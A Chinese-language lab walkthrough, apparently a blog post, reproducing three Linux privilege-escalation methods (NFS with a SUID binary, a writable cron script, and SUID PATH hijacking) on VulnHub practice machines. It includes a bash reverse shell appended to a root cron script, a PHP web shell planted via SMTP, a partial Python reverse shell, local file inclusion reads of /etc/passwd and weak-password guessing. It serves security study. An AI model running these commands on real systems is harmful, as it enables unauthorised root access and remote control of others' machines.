3.Linux 提权实战:NFS 共享、Cron 定时任务与 PATH 环境变量劫持

3.Linux 提权实战:NFS 共享、Cron 定时任务与 PATH 环境变量劫持

_

本文复现 NFS、Cron 与 PATH 环境变量三种典型提权方式,对复现过程、利用条件、完整命令及思路做详解备份,适用于渗透测试学习与实验环境复现,不适用于生产攻击。


NFS 提权

📌 NFS 基础说明

NFS 是一种基于 TCP/IP 的网络文件系统协议,通过 NFS,客户端可以像本地磁盘一样访问远程共享目录。

VirtualBox 复现注意事项(坑点)

  • VirtualBox 必须开启 两块网卡
    1. NAT → 访问外网
    2. Host-Only → 内网互通
  • 推荐开启 DHCP 动态获取 IP
  • 官方下载地址:
    https://www.virtualbox.org/wiki/Downloads
  • 若只开单网卡可能导致无法访问内网靶机

靶场环境

https://www.vulnhub.com/entry/hacksudo-2-hackdudo,667/

利用前置条件:

  • NFS 服务开启
  • 拥有普通用户权限或 WebShell 权限

1️⃣ 信息收集

nmap 192.168.1.6
http://192.168.1.6/file.php?file=/etc/passwd


2️⃣ 利用 NFS 服务

确认 NFS 开启

查看可挂载目录:

showmount -e 192.168.1.6

挂载共享目录:

mkdir nfs
sudo mount -t nfs 192.168..56.4:/mnt/nfs ./nfs
chmod 777 shell.php



3️⃣ 结合 SUID 提权

⚠ 重点提示:gcc 编译环境版本必须与目标系统内核接近,否则提权文件可能失效

示例 C 代码:

#include<stdlib.h>
#include<unistd.h>

int main()
{
    setuid(0);
    system("id");
    system("whoami");
}

目标机器系统信息:

Static hostname: hacksudo
Operating System: Ubuntu 20.10
Kernel: Linux 5.8.0-45-generic
Architecture: x86-64
Virtualization: oracle

使用 Docker 构建相同版本环境编译

创建 Dockerfile:

cat > Dockerfile <<'EOF'
FROM ubuntu:20.10
RUN sed -i 's|archive.ubuntu.com|old-releases.ubuntu.com|g' /etc/apt/sources.list && \
    sed -i 's|security.ubuntu.com|old-releases.ubuntu.com|g' /etc/apt/sources.list && \
    apt update && apt install -y build-essential && \
    rm -rf /var/lib/apt/lists/*
WORKDIR /src
EOF

docker build -t ubuntu20.10-gcc .

编译:

docker run --rm -v "$(pwd)":/src -w /src ubuntu20.10-gcc bash -c "gcc -O2 -Wno-unused-result -o hzhsec hzhsec.c"

或本地直接尝试:

gcc hzhsec.c -o hzhsec


赋予 SUID 权限并触发

cp hzhsec /root/nfs
chmod +s hzhsec

验证:

find / -perm -u=s -type f 2>/dev/null
cd /mnt/nfs
./hzhsec

成功验证


Cron 定时任务提权

环境

https://www.vulnhub.com/entry/jarbas-1,232/

条件:

  • 用户或 WebShell 权限
  • 可修改 Cron 定时任务脚本

1️⃣ 信息收集

访问入口:

http://192.168.139.152/access.html


2️⃣ 获取用户或 Shell 权限

访问 Jenkins:

http://192.168.139.152:8080/

创建任务、构建 payload





3️⃣ Cron 提权流程

查看 Cron 配置:

cat /etc/crontab

查看可执行脚本权限:

cat /etc/script/CleaningScript.sh
ls -lia /etc/script/CleaningScript.sh


追加反弹 Shell:

echo "bash -i >& /dev/tcp/192.168.88.145/4567 0>&1" >> /etc/script/CleaningScript.sh

成功反弹 ✔


PATH 环境变量劫持提权

PATH 提权的核心原理:

仅适用于 SUID 可执行文件,不适用于 sudo
因为 sudo 使用 root 自己的安全环境变量


环境

https://www.vulnhub.com/entry/symfonos-1,322/

条件:

  • 拥有用户权限
  • 存在可被逆向分析出系统命令调用的 SUID 程序

1️⃣ 信息收集

smbclient -L 192.168.88.151

端口信息显示 SMB 存在


2️⃣ 访问共享与漏洞发现

smbclient //192.168.88.151/anonymous
smbclient //192.168.88.151/helios -U helios

猜测弱口令:

helios / qwerty

成功登录 /h3l105

发现 WordPress:

http://192.168.88.151/h3l105/

扫描插件:

wpscan --url http://192.168.88.151/h3l105/ --plugins-detection aggressive

发现 mail-masta 1.0 文件包含

查询漏洞:

searchsploit mail masta 1.0

利用:

http://192.168.88.151/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

3️⃣ 反弹 Shell

通过邮件服务写入 PHP payload:

/var/mail/helios
telnet 192.168.88.151 25
MAIL FROM: MALABIS
RCPT TO: helios
data
<?php system($_POST['shell']); ?>
.
QUIT

反弹:

python -c 'import socket,subprocess,os;s=socket.socket(...'


4️⃣ PATH 劫持提权核心步骤

交互式 Shell:

python -c 'import pty;pty.spawn("/bin/bash")'

寻找 SUID:

find / -perm -u=s -type f 2>/dev/null

发现 /opt/statuscheck

逆向分析:

strings /opt/statuscheck

找到被调用的命令 = curl

构造伪 curl:

cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH

触发提权:

/opt/statuscheck

2.Linux 权限提升:SUID 机制与 SUDO 配置漏洞利用实战 2026-01-09
4.Linux 提权实战:MySQL UDF、Capability 能力机制与 LD_PRELOAD 劫持 2026-01-09

评论区